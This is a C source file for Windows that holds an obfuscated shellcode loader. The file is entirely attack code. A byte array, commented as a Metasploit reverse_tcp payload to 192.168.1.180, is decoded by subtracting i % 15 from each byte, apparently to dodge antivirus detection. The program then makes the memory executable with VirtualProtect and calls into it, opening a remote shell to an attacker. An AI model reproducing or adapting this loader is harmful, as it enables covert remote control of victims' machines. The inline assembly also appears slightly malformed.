
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>

//192.168.1.180 208 reverse_tcp
char met_[] =
"\xfc\xe9\x84\x03\x04\x05\x66\x90\xed\x3a\xca\x6f\x97\x5d\x3e"
"\x8b\x53\x0e\x8e\x56\x19\x91\x79\x30\x18\xc1\x55\x32\x3e\x0d"
"\xac\x3d\x63\x7f\x06\x31\x26\xc8\xd7\x16\x0b\xd2\xee\xff\x60"
"\x57\x8c\x54\x13\x8f\x4f\x42\x92\x54\x1a\x82\xee\x54\x0e\xdf"
"\x51\x8c\x5b\x23\x05\xd8\x91\x50\x20\xec\x44\x54\x97\x41\x99"
"\x01\xd7\x33\x02\xb0\xc6\xd5\x14\x09\xd0\x42\xeb\x81\x03\x11"
"\x7d\xf9\x3d\x80\x28\x7a\xea\x5f\x93\x61\x2e\x0c\xdf\x73\x99"
"\x0c\x4c\x8d\x5b\x20\x06\xd9\x92\x0c\x94\x0b\xdb\x95\x51\x32"
"\x24\x5c\x5d\x64\x5d\x5f\x57\x06\xe8\x68\x69\x65\x97\x1f\xf9"
"\x8d\x5e\x6a\x36\x36\x05\x06\x6f\x7f\x7c\x3c\x6a\x60\x75\x5a"
"\x77\x27\x09\x02\xd9\xbd\x96\x08\x08\x09\x33\xcf\x60\x5d\x76"
"\x29\x81\x6d\x03\x03\xda\x70\x0c\x70\xc9\xb2\x1d\x8c\x75\x10"
"\x00\x02\xbd\x8c\xea\x55\x56\x57\x58\x49\x5a\x4b\x5c\x75\xf8"
"\x0f\xe0\xe2\x02\xd9\x9c\x70\x17\x5e\x60\x72\xa4\xb1\x81\x6f"
"\xff\xd6\x87\xc3\x78\x0f\x05\x55\x10\x7e\xf6\xf3\x6d\x0d\x0e"
"\x00\x6b\x02\x6d\x08\x5b\x5d\x6f\x0a\xe2\xd2\x6a\x0b\xe2\x91"
"\xf8\x01\x80\x39\x8f\x3b\x70\x47\x70\x09\x1a\x0b\x0c\x63\x78"
"\x00\x69\x5a\xa7\x57\xea\x05\xdc\x9b\x5c\x74\x0b\x62\x60\x65"
"\x68\x03\xdb\xcb\x63\x04\xdb\x8a\x00\x09\x87\x2d\x64\x75\x0e"
"\x40\x01\x02\x6d\x04\x55\x6e\x12\x37\x18\x3a\x0a\xe1\x64\x76"
"\x75\x6f\x4f\x64\x03\xda\x64\x65\x07\x15\x2e\xf4\x7d\x0c\x0d"
"\xff\x02\xc5\x2c\xca\x7a\xcd\xca\xc3\xf9\xbf\xad\x62\x77\x0e"
"\x53\x00\xd7\x03";
char met[334];


void init()
{
	int i;
	for (i = 0; i < 334; i++)
		met[i] = met_[i] - i % 15;
}


int main()
{
	init();
	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
	INT32 * addr;
	addr = (INT32*)&met;

	__asm;
	{
		call addr;
	}
	return 0;
}